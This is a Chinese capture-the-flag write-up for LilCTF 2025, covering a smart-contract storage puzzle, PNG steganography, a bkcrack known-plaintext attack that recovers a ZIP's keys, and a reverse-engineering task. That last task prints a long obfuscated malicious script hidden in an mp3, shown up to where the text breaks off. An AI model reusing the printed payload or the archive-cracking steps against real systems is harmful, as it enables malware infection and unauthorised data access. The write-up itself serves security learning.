LilCTF 2025 WriteUp

2025-08-18

WriteUp

25k 词

仅给出我个人解出的题目的WP

Blockchain

生蚝的宝藏

合约字节码：

608060405234801561001057600080fd5b50600436106100365760003560e01c80635cc4d8121461003b57806364d98f6e14610050575b600080fd5b61004e61004936600461023a565b61006a565b005b60015460ff16604051901515815260200160405180910390f35b61007381610112565b60405160200161008391906102eb565b6040516020818303038152906040528051906020012060006040516020016100ab9190610326565b60405160208183030381529060405280519060200120146101035760405162461bcd60e51b815260206004820152600e60248201526d57726f6e6720547265617375726560901b604482015260640160405180910390fd5b506001805460ff191681179055565b60408051808201909152600c81526b35b2bcaf9a9b9b1c1a331ab360a11b60208201528151606091839160009067ffffffffffffffff81111561015757610157610224565b6040519080825280601f01601f191660200182016040528015610181576020820181803683370190505b50905060005b835181101561021b578283518261019e91906103c2565b815181106101ae576101ae6103e4565b602001015160f81c60f81b60f81c8482815181106101ce576101ce6103e4565b602001015160f81c60f81b60f81c1860f81b8282815181106101f2576101f26103e4565b60200101906001600160f81b031916908160001a90535080610213816103fa565b915050610187565b50949350505050565b634e487b7160e01b600052604160045260246000fd5b60006020828403121561024c57600080fd5b813567ffffffffffffffff8082111561026457600080fd5b818401915084601f83011261027857600080fd5b81358181111561028a5761028a610224565b604051601f8201601f19908116603f011681019083821181831017156102b2576102b2610224565b816040528281528760208487010111156102cb57600080fd5b826020860160208301376000928101602001929092525095945050505050565b6000825160005b8181101561030c57602081860181015185830152016102f2565b8181111561031b576000828501525b509190910192915050565b600080835481600182811c91508083168061034257607f831692505b602080841082141561036257634e487b7160e01b86526022600452602486fd5b8180156103765760018114610387576103b4565b60ff198616895284890196506103b4565b60008a81526020902060005b868110156103ac5781548b820152908501908301610393565b505084890196505b509498975050505050505050565b6000826103df57634e487b7160e01b600052601260045260246000fd5b500690565b634e487b7160e01b600052603260045260246000fd5b600060001982141561041c57634e487b7160e01b600052601160045260246000fd5b506001019056fea26469706673582212208b7cde4f35ba992dd90e17d674e268671df0bc0754960425308013b8ca40512864736f6c63430008090033

用jeb反编译：

function start() {
    uint256 v0, v1;

    *0x40 = 0x80;
    if(msg.value != 0x0) {
        revert(0x0, 0x0);
    }

    v1 = v2.length;
    if(v1 >= 0x4) {
        if(msg.sig == 1556404242) {
            sub_3B();
        }
        if(v0 == 0x64D98F6E) {
            isSolved();
        }
    }

    revert(0x0, 0x0);
}

function sub_3B() public payable {
    uint256 v0;

    v0 = v2.length;
    uint256 v1 = sub_23A(0x4, v0);
    sub_6A(v1);
    stop();
}

function sub_6A(uint256 param0) private {
    uint256 v0 = sub_112(param0);

    v0 = sub_2EB(*0x40 + 0x20, v0);
    uint256 v1 = *0x40;
    *(uint256*)v1 = v0 - v1 - 0x20;
    *0x40 = v0;
    v0 = keccak256(v1 + 0x20, *(uint256*)v1);
    v1 = sub_326(*0x40 + 0x20, 0x0);
    uint256 v2 = *0x40;
    *(uint256*)v2 = v1 - v2 - 0x20;
    *0x40 = v1;
    v1 = keccak256(v2 + 0x20, *(uint256*)v2);
    if(v0 != v1) {
        v0 = *0x40;
        *(uint256*)v0 = 0x8C379A000000000000000000000000000000000000000000000000000000000;
        *(uint256*)(v0 + 0x4) = 0x20;
        *(uint256*)(v0 + 0x24) = 0xE;
        *(uint256*)(v0 + 0x44) = 0x57726F6E67205472656173757265000000000000000000000000000000000000;
        v1 = *0x40;
        revert(v1, v0 + 0x64 - v1);
    }

    v0 = storage[0x1];
    g0_0 = 1;
}

function sub_112(uint256 param0) private pure returns (uint256) {
    uint256 v0;
    uint256 v1 = *0x40;

    *0x40 = v1 + 0x40;
    *(uint256*)v1 = 0xC;
    *(uint256*)(v1 + 0x20) = 0x6B65795F35373638346635660000000000000000000000000000000000000000;
    uint256 v2 = *(uint256*)param0;
    if(v2 <= 0xFFFFFFFFFFFFFFFF) {
        uint256 v3 = v2;
        v2 = *0x40;
        *(uint256*)v2 = v3;
        *0x40 = ((v3 + 0x1F) & 0xFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFE0) + v2 + 0x20;
        if(v3 != 0x0) {
            v0 = v5.length;
            calldatacopy(v2 + 0x20, v0, v3);
        }
        uint256 result = v2;
        v2 = 0x0;
        while(*(uint256*)param0 > v2) {
            v2 = *(uint256*)param0;
            result = sub_3C2(param0, v2);
            if(*(uint256*)param0 > 0x3C2) {
                v3 = (uint256)(unsigned char)(*(uint256*)(param0 + 0x3E2) >>> 0xF8);
                if(*(uint256*)param0 > v2) {
                    v3 = ((uint256)(unsigned char)(*(uint256*)(param0 + v2 + 0x20) >>> 0xF8) ^ v3) << 0xF8;
                    if(*(uint256*)result > v2) {
                        *(unsigned char*)(result + v2 + 0x20) = (unsigned char)((v3 & 0xFF00000000000000000000000000000000000000000000000000000000000000) >>> 0xF8);
                        uint256 v4 = sub_3FA(v2);
                        v2 = v4;
                        continue;
                    }
                }
            }
            *0x0 = 0x4E487B7100000000000000000000000000000000000000000000000000000000;
            *0x4 = 0x32;
            revert(0x0, 0x24);
        }
        return result;
    }

    *0x0 = 0x4E487B7100000000000000000000000000000000000000000000000000000000;
    *0x4 = 0x41;
    revert(0x0, 0x24);
}

function sub_3FA(uint256 param0) private pure returns (uint256) {
    if(param0 == 0xFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFF) {
        *0x0 = 0x4E487B7100000000000000000000000000000000000000000000000000000000;
        *0x4 = 0x11;
        revert(0x0, 0x24);
    }

    return param0 + 0x1;
}

function sub_3C2(uint256 param0, uint256 param1) private pure returns (uint256) {
    if(!param0) {
        *0x0 = 0x4E487B7100000000000000000000000000000000000000000000000000000000;
        *0x4 = 0x12;
        revert(0x0, 0x24);
    }

    return param1 % param0;
}

function sub_326(uint256* param0, uint256* param1) private view returns (uint256) {
    uint256* ptr0, ptr1, ptr2, ptr3 = 0x0;

    ptr1 = storage[param0];
    uint256* ptr4 = (uint256*)((int256)ptr1 >>> 0x1);
    if(!(uint256*)((int256)ptr1 & 0x1)) {
        ptr4 = (uint256*)((int256)ptr4 & 0x7F);
    }

    uint256* ptr5 = 0x20;
    if((uint256*)((int256)ptr1 & 0x1) == (uint256*)((uint256)ptr4 < 0x20)) {
        *0x0 = 0x4E487B7100000000000000000000000000000000000000000000000000000000;
        *0x4 = 0x22;
        revert(0x0, 0x24);
    }

    uint256* ptr6 = (uint256*)((int256)ptr1 & 0x1);
    if(ptr6 == 0x0) {
        *param1 = (uint256*)((int256)ptr1 & 0xFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFF00);
        ptr3 = (uint256*)((int256)param1 + (int256)ptr4);
    }
    else if(ptr6 == 0x1) {
        *0x0 = param0;
        ptr2 = keccak256(0x0, 0x20);
        uint256* ptr7 = 0x0;
        while(ptr4 > ptr7) {
            ptr2 = storage[ptr5];
            ptr7 = (uint256*)((int256)ptr0 + (int256)ptr6);
            *ptr7 = ptr2;
            ptr5 = (uint256*)((int256)ptr1 + (int256)ptr5);
            ptr6 = (uint256*)((char*)ptr6 + 0x1);
        }
        ptr3 = (uint256*)((int256)param1 + (int256)ptr4);
    }

    return (uint256)ptr3;
}

function sub_2EB(uint256* param0, uint256* param1) private pure returns (uint256) {
    uint256* max = *param0, i;

    for(i = 0x0; i < max; ++i) {
        *(uint256*)((int256)param1 + (int256)i) = *((uint256*)((int256)param0 + (int256)i) + 1);
    }

    if(max < i) {
        *(uint256*)((int256)param1 + (int256)max) = 0x0;
    }

    return (uint256)(uint256*)((int256)param1 + (int256)max);
}

function sub_23A(uint256* param0, uint256* param1) private pure returns (uint256) {
    uint256* ptr0, ptr1;

    if((int256)(uint256*)((int256)param0 - (int256)param1) < 0x20) {
        revert(0x0, 0x0);
    }

    ptr0 = calldataload(param1);
    if((uint256)ptr0 > 0xFFFFFFFFFFFFFFFF) {
        revert(0x0, 0x0);
    }

    ptr0 = (uint256*)((int256)param1 + (int256)ptr0);
    if((int256)(uint256*)((char*)ptr0 + 0x1F) >= (int256)param0) {
        revert(0x0, 0x0);
    }

    ptr1 = calldataload(ptr0);
    if((uint256)ptr1 <= 0xFFFFFFFFFFFFFFFF) {
        uint256* ptr2 = *0x40;
        uint256* ptr3 = (uint256*)((int256)(uint256*)((int256)(uint256*)((char*)((int256)(uint256*)((char*)ptr1 + 0x1F) & 0xFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFE0) + 0x3F) & 0xFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFE0) + (int256)*0x40);
        if((uint256*)((int256)(uint256*)(ptr3 < ptr2) | (int256)(uint256*)((uint256)ptr3 > 0xFFFFFFFFFFFFFFFF)) == 0x0) {
            *0x40 = ptr3;
            *ptr2 = ptr1;
            if((uint256*)((int256)ptr0 + (int256)ptr1) + 1 > param0) {
                revert(0x0, 0x0);
            }
            calldatacopy(ptr2 + 1, ptr0 + 1, ptr1);
            *((uint256*)((int256)ptr1 + (int256)ptr2) + 1) = 0x0;
            return (uint256)ptr2;
        }
    }

    *0x0 = 0x4E487B7100000000000000000000000000000000000000000000000000000000;
    *0x4 = 0x41;
    revert(0x0, 0x24);
}

function isSolved() public payable {
    uint256* ptr0;

    ptr0 = storage[0x1];
    uint256* ptr1 = (uint256*)((int256)ptr0 & 0xFF);
    ptr0 = *0x40;
    *ptr0 = (uint256*)(ptr1 != 0x0);
    ptr1 = *0x40;
    return(ptr1, (uint256*)((int256)(ptr0 + 1) - (int256)ptr1));
}

有一个常量6B65795F3537363834663566（key_57684f5f）

查询slots：

from web3 import Web3

rpc_url = "http://106.15.138.99:8545/"
w3 = Web3(Web3.HTTPProvider(rpc_url))

contract_addr = "0x21d831F4dD623816fCf62aF3f8baa0a5D7E33B73"

def read_storage(slot):
    return w3.eth.get_storage_at(contract_addr, slot).hex()

for i in range(4):
    data = read_storage(i)
    print(f"Slot {i}: {data}")

发现只有slot0是0x5d其他全空，查看keccak256(0)指向的slot：

from web3 import Web3

w3 = Web3(Web3.HTTPProvider("http://106.15.138.99:8545/"))
contract_addr = "0x21d831F4dD623816fCf62aF3f8baa0a5D7E33B73"

data_slot = w3.keccak(hexstr='00' * 32)
data_slot_int = int(data_slot.hex(), 16)
print(f"Data starts at slot: {data_slot_int}")

for i in range(-2, 5):
    slot_index = data_slot_int + i
    value = w3.eth.get_storage_at(contract_addr, slot_index).hex()
    print(f"Slot {slot_index} (offset {i:2d}): {value}")

1 2	5d504f6e00040000025306575d064c390202025d025206555c574c3902030000 0053000059514d6a0107055e0302

将其异或密钥后得到：

6561536865316c5f754e6433725f7468455f2445403f7d

是eaShe1l_uNd3r_thE_$E@?}的十六进制，看起来像flag的后半截子

发送交易：

import os
from web3 import Web3
from eth_account import Account
from eth_abi import encode

PRIVATE_KEY = "3cbcec6be18b819789d385b077ba565f1aa00d9ae778dec4b8e7dde7bf51a6f1"
CONTRACT_ADDRESS = "0xb963aD236866812b3f8B901f796A6e701421c644"
NODE_URL = "http://106.15.138.99:8545/"

w3 = Web3(Web3.HTTPProvider(NODE_URL))
account = Account.from_key(PRIVATE_KEY)
MY_ADDRESS = account.address
print(f"{MY_ADDRESS}")

TREASURE = bytes.fromhex("5d504f6e00040000025306575d064c390202025d025206555c574c39020300000053000059514d6a0107055e0302")
KEY_STR = b"key_57684f5f"
SUBMIT_SELECTOR = bytes.fromhex("5cc4d812")

def xor_loop_with_key(data: bytes, key_str: bytes) -> bytes:
    key_len = len(key_str)
    output_data = bytearray()
    for i, b in enumerate(data):
        xor_byte = b ^ key_str[i % key_len]
        output_data.append(xor_byte)
    return bytes(output_data)

def call_submit(param: bytes) -> bytes:
    encoded_param = encode(['bytes'], [param])
    calldata = SUBMIT_SELECTOR + encoded_param
    return calldata

def main():
    input_data = xor_loop_with_key(TREASURE, KEY_STR)
    print(f"{input_data.hex()}")
    full_calldata = call_submit(input_data)
    print(f"{full_calldata.hex()}")
    nonce = w3.eth.get_transaction_count(MY_ADDRESS)
    gas_price = w3.eth.gas_price
    gas_limit = 500000

    transaction = {
        'to': CONTRACT_ADDRESS,
        'from': MY_ADDRESS,
        'value': 0,
        'data': full_calldata,
        'nonce': nonce,
        'gasPrice': gas_price,
        'gas': gas_limit,
        'chainId': 21348
    }

    try:
        signed_txn = w3.eth.account.sign_transaction(
            transaction, private_key=PRIVATE_KEY)
        tx_hash = w3.eth.send_raw_transaction(signed_txn.raw_transaction)
        print(f"{tx_hash.hex()}")
        tx_receipt = w3.eth.wait_for_transaction_receipt(tx_hash)
        if tx_receipt.status == 1:
            print("Complete")
        else:
            print("Failed")
    except Exception as e:
        print(f"{e}")

if __name__ == "__main__":
    main()

返回成功，获取flag：

astralprisma@BY-003:~/桌面$ nc challenge.xinshi.fun 40769
Can you make the isSolved() function return true?

[1] - Create an account which will be used to deploy the challenge contract
[2] - Deploy the challenge contract using your generated account
[3] - Get your flag once you meet the requirement
[-] input your choice: 3
[-] input your token: v4.local.yi0Fix-jr10I9FvJvqDHz8Za-h8m4YUsm7i9vfncynaw_1Yf5ThGh5AmOR7YF1dD7N025tj_wqf0OfapvjJ56k5T3fY4k5hz5NUMlNrwmm00oluP-ubhbmirsUnsMdIbXzK4AkEVMeCSgqEV4mDK0Iqts0fmERV0792FLvNJDxuMyg.T3lzdGVyVHJlYXN1cmU
[+] flag: LILCTF{WhO_L1veS_1n_@_seaShe1l_uNd3r_thE_$E@?}

LILCTF{WhO_L1veS_1n_@_seaShe1l_uNd3r_thE_$E@?}

Misc

PNG Master

文件末尾有base64：

6K6p5L2g6Zq+6L+H55qE5LqL5oOF77yM5pyJ5LiA5aSp77yM5L2g5LiA5a6a5Lya56yR552A6K+05Ye65p2lZmxhZzE6NGM0OTRjNDM1NDQ2N2I=

解码得到flag1：LILCTF{

用zsteg报错，发现尾部有一个270字节的块大小不对，直接提取后inflate发现是一个zip，里面有一个hint和一个secret.bin，hint有零宽隐写，提示异或文件名，异或后得到flag3：as7er_in_PNG}

去掉最后一个块之后再zsteg，得到一个字符串：

5Zyo5oiR5Lus5b+D6YeM77yM5pyJ5LiA5Z2X5Zyw5pa55piv5peg5rOV6ZSB5L2P55qE77yM6YKj5Z2X5Zyw5pa55Y+r5YGa5biM5pybZmxhZzI6NTkzMDc1NWYzNDcyMzM1ZjRk

解码后得到flag2：Y0u_4r3_M

LILCTF{Y0u_4r3_Mas7er_in_PNG}

提前放出附件

tar开头有很多全0字节，很容易爆破

bkcrack -C backup.zip -c flag.tar -x 16 00000000000000000000000000000000
bkcrack 1.7.1 - 2024-12-21
[18:36:13] Z reduction using 8 bytes of known plaintext
100.0 % (8 / 8)
[18:36:13] Attack on 775242 Z values at index 23
Keys: 945815e7 4e7a2163 e46b8f88
0.5 % (3842 / 775242)
Found a solution. Stopping.
You may resume the attack with the option: --continue-attack 3842
[18:36:14] Keys
945815e7 4e7a2163 e46b8f88

bkcrack -C backup.zip -k 945815e7 4e7a2163 e46b8f88 -U flag.zip 123
bkcrack 1.7.1 - 2024-12-21
[18:37:11] Writing unlocked archive flag.zip with password "123"
100.0 % (1 / 1)
Wrote unlocked archive.

LILCTF{Z1pCRyp70_1s_n0t_5ecur3}

Reverse

1’M no7 A rO6oT

mp3文件中有一个恶意载荷：

<script>window.resizeTo(0, 0);window.moveTo(-9999, -9999); SK=102;UP=117;tV=110;Fx=99;nI=116;pV=105;wt=111;RV=32;wV=82;Rp=106;kz=81;CX=78;GH=40;PS=70;YO=86;kF=75;PO=113;QF=41;sZ=123;nd=118;Ge=97;sV=114;wl=104;NL=121;Ep=76;uS=98;Lj=103;ST=61;Ix=34;Im=59;Gm=101;YZ=109;Xj=71;Fi=48;dL=60;cX=46;ho=108;jF=43;Gg=100;aV=90;uD=67;Nj=83;US=91;tg=93;vx=45;xv=54;QB=49;WT=125;FT=55;yN=51;ff=44;it=50;NW=53;kX=57;zN=52;Mb=56;Wn=119;sC=65;Yp=88;FF=79;var SxhM = String.fromCharCode(SK,UP,tV,Fx,nI,pV,wt,tV,RV,pV,wt,wV,Rp,kz,CX,GH,PS,YO,kF,PO,QF,sZ,nd,Ge,sV,RV,wt,wl,NL,Ep,uS,Lj,ST,RV,Ix,Ix,Im,SK,wt,sV,RV,GH,nd,Ge,sV,RV,Gm,YZ,Xj,kF,RV,ST,RV,Fi,Im,Gm,YZ,Xj,kF,RV,dL,RV,PS,YO,kF,PO,cX,ho,Gm,tV,Lj,nI,wl,Im,RV,Gm,YZ,Xj,kF,jF,jF,QF,sZ,nd,Ge,sV,RV,tV,Gg,aV,uD,RV,ST,RV,Nj,nI,sV,pV,tV,Lj,cX,SK,sV,wt,YZ,uD,wl,Ge,sV,uD,wt,Gg,Gm,GH,PS,YO,kF,PO,US,Gm,YZ,Xj,kF,tg,RV,vx,RV,xv,Fi,QB,QF,Im,wt,wl,NL,Ep,uS,Lj,RV,ST,RV,wt,wl,NL,Ep,uS,Lj,RV,jF,RV,tV,Gg,aV,uD,WT,sV,Gm,nI,UP,sV,tV,RV,wt,wl,NL,Ep,uS,Lj,WT,Im,nd,Ge,sV,RV,wt,wl,NL,Ep,uS,Lj,RV,ST,RV,pV,wt,wV,Rp,kz,CX,GH,US,FT,QB,yN,ff,RV,FT,QB,it,ff,RV,FT,it,Fi,ff,RV,FT,Fi,it,ff,RV,FT,QB,NW,ff,RV,FT,QB,xv,ff,RV,FT,Fi,NW,ff,RV,FT,Fi,it,ff,RV,FT,Fi,kX,ff,RV,FT,Fi,kX,ff,RV,xv,zN,FT,ff,RV,FT,Fi,it,ff,RV,FT,it,QB,ff,RV,FT,Fi,it,ff,RV,xv,yN,yN,ff,RV,xv,zN,xv,ff,RV,FT,it,Fi,ff,RV,xv,yN,yN,ff,RV,xv,NW,Fi,ff,RV,xv,yN,yN,ff,RV,xv,zN,xv,ff,RV,FT,Fi,it,ff,RV,FT,QB,yN,ff,RV,xv,yN,yN,ff,RV,xv,Mb,xv,ff,RV,FT,QB,QB,ff,RV,FT,QB,NW,ff,RV,FT,Fi,it,ff,RV,FT,QB,xv,ff,RV,FT,QB,FT,ff,RV,FT,QB,NW,ff,RV,FT,Fi,xv,ff,RV,FT,Fi,Fi,ff,RV,FT,QB,FT,ff,RV,FT,Fi,it,ff,RV,FT,Fi,QB,ff,RV,xv,yN,yN,ff,RV,xv,zN,xv,ff,RV,FT,QB,QB,ff,RV,FT,QB,it,ff,RV,FT,QB,yN,ff,RV,xv,yN,yN,ff,RV,xv,yN,FT,ff,RV,xv,FT,Fi,ff,RV,xv,FT,QB,ff,RV,xv,Mb,NW,ff,RV,xv,FT,Fi,ff,RV,xv,yN,yN,ff,RV,xv,xv,it,ff,RV,xv,zN,QB,ff,RV,xv,kX,it,ff,RV,FT,QB,NW,ff,RV,FT,Fi,it,ff,RV,FT,Fi,zN,ff,RV,FT,Fi,it,ff,RV,FT,it,QB,ff,RV,xv,kX,zN,ff,RV,xv,NW,kX,ff,RV,xv,NW,kX,ff,RV,xv,FT,Mb,ff,RV,xv,kX,Mb,ff,RV,FT,QB,FT,ff,RV,FT,Fi,Fi,ff,RV,FT,Fi,NW,ff,RV,FT,Fi,it,ff,RV,FT,QB,xv,ff,RV,xv,zN,QB,ff,RV,xv,zN,Fi,ff,RV,xv,kX,Mb,ff,RV,xv,NW,zN,ff,RV,xv,kX,Mb,ff,RV,xv,NW,Mb,ff,RV,xv,kX,kX,ff,RV,xv,NW,yN,ff,RV,xv,NW,Mb,ff,RV,FT,Fi,yN,ff,RV,xv,kX,kX,ff,RV,xv,NW,FT,ff,RV,xv,kX,Mb,ff,RV,FT,Fi,QB,ff,RV,xv,kX,kX,ff,RV,FT,Fi,it,ff,RV,xv,kX,kX,ff,RV,xv,NW,FT,ff,RV,FT,Fi,it,ff,RV,xv,NW,Fi,ff,RV,xv,NW,Mb,ff,RV,FT,Fi,Fi,ff,RV,xv,kX,kX,ff,RV,FT,Fi,it,ff,RV,xv,kX,Mb,ff,RV,xv,NW,it,ff,RV,xv,kX,Mb,ff,RV,FT,Fi,yN,ff,RV,xv,kX,Mb,ff,RV,xv,NW,Mb,ff,RV,xv,kX,kX,ff,RV,FT,Fi,yN,ff,RV,xv,kX,kX,ff,RV,FT,Fi,yN,ff,RV,FT,Fi,it,ff,RV,FT,Fi,Fi,ff,RV,FT,Fi,it,ff,RV,FT,Fi,it,ff,RV,FT,Fi,it,ff,RV,xv,NW,FT,ff,RV,xv,kX,Mb,ff,RV,xv,NW,Mb,ff,RV,xv,kX,Mb,ff,RV,xv,NW,QB,ff,RV,xv,kX,kX,ff,RV,xv,kX,Mb,ff,RV,FT,Fi,yN,ff,RV,xv,NW,NW,ff,RV,xv,NW,Mb,ff,RV,FT,Fi,yN,ff,RV,xv,kX,kX,ff,RV,xv,NW,zN,ff,RV,xv,kX,kX,ff,RV,FT,Fi,yN,ff,RV,xv,kX,kX,ff,RV,xv,NW,FT,ff,RV,xv,kX,Mb,ff,RV,xv,NW,Mb,ff,RV,xv,kX,Mb,ff,RV,xv,NW,Fi,ff,RV,xv,NW,Mb,ff,RV,FT,Fi,it,ff,RV,xv,kX,Mb,ff,RV,xv,NW,it,ff,RV,xv,kX,Mb,ff,RV,xv,NW,it,ff,RV,xv,kX,kX,ff,RV,xv,NW,FT,ff,RV,xv,NW,Mb,ff,RV,xv,zN,kX,ff,RV,xv,NW,Mb,ff,RV,FT,Fi,yN,ff,RV,xv,kX,kX,ff,RV,xv,NW,zN,ff,RV,xv,kX,kX,ff,RV,FT,Fi,yN,ff,RV,xv,NW,Mb,ff,RV,xv,kX,kX,ff,RV,xv,NW,FT,ff,RV,xv,NW,it,ff,RV,xv,NW,Mb,ff,RV,xv,kX,kX,ff,RV,FT,Fi,yN,ff,RV,xv,kX,Mb,ff,RV,FT,Fi,yN,ff,RV,xv,NW,FT,ff,RV,xv,NW,Mb,ff,RV,xv,zN,kX,ff,RV,xv,NW,Mb,ff,RV,xv,kX,kX,ff,RV,xv,kX,Mb,ff,RV,xv,NW,zN,ff,RV,xv,kX,Mb,ff,RV,xv,NW,QB,ff,RV,xv,kX,Mb,ff,RV,xv,NW,FT,ff,RV,xv,kX,Mb,ff,RV,xv,NW,it,ff,RV,xv,kX,kX,ff,RV,xv,kX,kX,ff,RV,xv,kX,kX,ff,RV,FT,Fi,yN,ff,RV,xv,NW,Mb,ff,RV,FT,Fi,Fi,ff,RV,xv,kX,Mb,ff,RV,xv,NW,it,ff,RV,xv,kX,kX,ff,RV,xv,kX,kX,ff,RV,xv,kX,Mb,ff,RV,xv,NW,Mb,ff,RV,xv,kX,kX,ff,RV,FT,Fi,it,ff,RV,xv,NW,Mb,ff,RV,FT,Fi,yN,ff,RV,xv,kX,Mb,ff,RV,xv,NW,yN,ff,RV,xv,kX,Mb,ff,RV,xv,NW,Mb,ff,RV,xv,kX,Mb,ff,RV,xv,zN,kX,ff,RV,xv,kX,Mb,ff,RV,xv,zN,kX,ff,RV,xv,NW,Mb,ff,RV,xv,zN,kX,ff,RV,xv,kX,kX,ff,RV,xv,kX,Mb,ff,RV,FT,Fi,yN,ff,RV,FT,Fi,QB,ff,RV,FT,Fi,it,ff,RV,xv,NW,QB,ff,RV,FT,Fi,yN,ff,RV,FT,Fi,Fi,ff,RV,xv,NW,Mb,ff,RV,xv,zN,kX,ff,RV,xv,kX,kX,ff,RV,FT,Fi,Fi,ff,RV,xv,kX,Mb,ff,RV,xv,NW,it,ff,RV,xv,kX,kX,ff,RV,xv,kX,kX,ff,RV,xv,kX,Mb,ff,RV,xv,NW,Mb,ff,RV,xv,kX,kX,ff,RV,FT,Fi,it,ff,RV,xv,kX,kX,ff,RV,FT,Fi,yN,ff,RV,xv,kX,Mb,ff,RV,xv,NW,yN,ff,RV,xv,kX,Mb,ff,RV,xv,NW,Mb,ff,RV,xv,kX,Mb,ff,RV,xv,zN,kX,ff,RV,xv,kX,Mb,ff,RV,xv,zN,kX,ff,RV,FT,Fi,it,ff,RV,xv,NW,QB,ff,RV,xv,kX,Mb,ff,RV,xv,NW,Mb,ff,RV,xv,kX,kX,ff,RV,xv,NW,yN,ff,RV,xv,kX,Mb,ff,RV,xv,NW,Mb,ff,RV,FT,Fi,it,ff,RV,FT,Fi,it,ff,RV,FT,Fi,it,ff,RV,FT,Fi,Fi,ff,RV,FT,Fi,it,ff,RV,xv,NW,Fi,ff,RV,xv,NW,Mb,ff,RV,xv,kX,kX,ff,RV,xv,kX,Mb,ff,RV,xv,NW,zN,ff,RV,xv,kX,Mb,ff,RV,xv,NW,QB,ff,RV,xv,kX,Mb,ff,RV,xv,NW,FT,ff,RV,xv,kX,Mb,ff,RV,xv,NW,it,ff,RV,xv,kX,kX,ff,RV,xv,kX,kX,ff,RV,xv,NW,Mb,ff,RV,FT,Fi,yN,ff,RV,xv,kX,kX,ff,RV,xv,NW,FT,ff,RV,xv,kX,kX,ff,RV,xv,NW,zN,ff,RV,xv,kX,Mb,ff,RV,xv,zN,kX,ff,RV,xv,kX,Mb,ff,RV,xv,NW,Mb,ff,RV,FT,Fi,it,ff,RV,FT,Fi,Fi,ff,RV,xv,NW,FT,ff,RV,xv,NW,yN,ff,RV,xv,kX,Mb,ff,RV,xv,NW,zN,ff,RV,xv,kX,Mb,ff,RV,xv,NW,FT,ff,RV,xv,kX,Mb,ff,RV,xv,NW,FT,ff,RV,xv,kX,Mb,ff,RV,xv,NW,Mb,ff,RV,xv,kX,Mb,ff,RV,xv,NW,QB,ff,RV,FT,Fi,it,ff,RV,FT,Fi,Fi,ff,RV,FT,Fi,it,ff,RV,xv,NW,Fi,ff,RV,xv,NW,FT,ff,RV,FT,Fi,QB,ff,RV,xv,kX,kX,ff,RV,FT,Fi,it,ff,RV,xv,kX,Mb,ff,RV,xv,kX,kX,ff,RV,xv,kX,kX,ff,RV,xv,NW,Mb,ff,RV,xv,kX,Mb,ff,RV,xv,NW,Fi,ff,RV,xv,kX,Mb,ff,RV,xv,NW,Mb,ff,RV,xv,kX,Mb,ff,RV,xv,NW,QB,ff,RV,xv,kX,kX,ff,RV,xv,NW,FT,ff,RV,xv,NW,FT,ff,RV,xv,zN,kX,ff,RV,xv,kX,Mb,ff,RV,xv,NW,zN,ff,RV,xv,kX,kX,ff,RV,FT,Fi,yN,ff,RV,xv,kX,kX,ff,RV,xv,NW,FT,ff,RV,FT,Fi,it,ff,RV,FT,Fi,Fi,ff,RV,FT,Fi,it,ff,RV,xv,kX,kX,ff,RV,FT,Fi,it,ff,RV,xv,NW,Fi,ff,RV,xv,kX,kX,ff,RV,xv,kX,kX,ff,RV,FT,Fi,it,ff,RV,xv,kX,kX,ff,RV,FT,Fi,it,ff,RV,xv,zN,kX,ff,RV,FT,Fi,it,ff,RV,xv,kX,kX,ff,RV,xv,kX,Mb,ff,RV,xv,NW,yN,ff,RV,FT,Fi,it,ff,RV,xv,kX,kX,ff,RV,FT,Fi,it,ff,RV,xv,zN,kX,ff,RV,FT,Fi,it,ff,RV,xv,kX,kX,ff,RV,FT,Fi,it,ff,RV,xv,NW,Fi,ff,RV,xv,kX,Mb,ff,RV,xv,NW,Mb,ff,RV,xv,kX,kX,ff,RV,FT,Fi,Fi,ff,RV,FT,Fi,it,ff,RV,xv,kX,kX,ff,RV,FT,Fi,it,ff,RV,xv,zN,kX,ff,RV,FT,Fi,it,ff,RV,xv,kX,kX,ff,RV,xv,NW,Mb,ff,RV,xv,NW,Mb,ff,RV,xv,kX,Mb,ff,RV,xv,NW,QB,ff,RV,xv,kX,kX,ff,RV,FT,Fi,it,ff,RV,xv,kX,Mb,ff,RV,xv,NW,Mb,ff,RV,xv,kX,kX,ff,RV,FT,Fi,yN,ff,RV,xv,kX,kX,ff,RV,xv,NW,FT,ff,RV,xv,kX,kX,ff,RV,FT,Fi,it,ff,RV,xv,kX,Mb,ff,RV,xv,NW,zN,ff,RV,xv,kX,Mb,ff,RV,FT,Fi,yN,ff,RV,xv,kX,kX,ff,RV,xv,NW,FT,ff,RV,xv,kX,Mb,ff,RV,xv,NW,Mb,ff,RV,xv,kX,Mb,ff,RV,xv,NW,FT,ff,RV,FT,Fi,it,ff,RV,xv,kX,kX,ff,RV,FT,Fi,it,ff,RV,xv,zN,kX,ff,RV,FT,Fi,it,ff,RV,xv,kX,kX,ff,RV,FT,Fi,it,ff,RV,xv,NW,Fi,ff,RV,xv,NW,FT,ff,RV,FT,Fi,yN,ff,RV,xv,kX,Mb,ff,RV,xv,NW,it,ff,RV,xv,kX,Mb,ff,RV,xv,NW,Fi,ff,RV,xv,kX,Mb,ff,RV,xv,NW,Fi,ff,RV,xv,kX,Mb,ff,RV,FT,Fi,QB,ff,RV,xv,kX,Mb,ff,RV,xv,NW,QB,ff,RV,xv,kX,Mb,ff,RV,xv,NW,FT,ff,RV,FT,Fi,it,ff,RV,xv,kX,kX,ff,RV,FT,Fi,it,ff,RV,xv,zN,kX,ff,RV,FT,Fi,it,ff,RV,FT,Fi,it,ff,RV,xv,NW,Mb,ff,RV,FT,Fi,yN,ff,RV,xv,kX,Mb,ff,RV,xv,NW,Mb,ff,RV,xv,kX,kX,ff,RV,xv,NW,FT,ff,RV,FT,Fi,it,ff,RV,xv,NW,Fi,ff,RV,xv,NW,Mb,ff,RV,xv,kX,Mb,ff,RV,xv,kX,Mb,ff,RV,FT,Fi,QB,ff,RV,xv,kX,kX,ff,RV,FT,Fi,it,ff,RV,xv,kX,Mb,ff,RV,xv,NW,zN,ff,RV,xv,kX,Mb,ff,RV,FT,Fi,QB,ff,RV,xv,kX,Mb,ff,RV,FT,Fi,it,ff,RV,xv,kX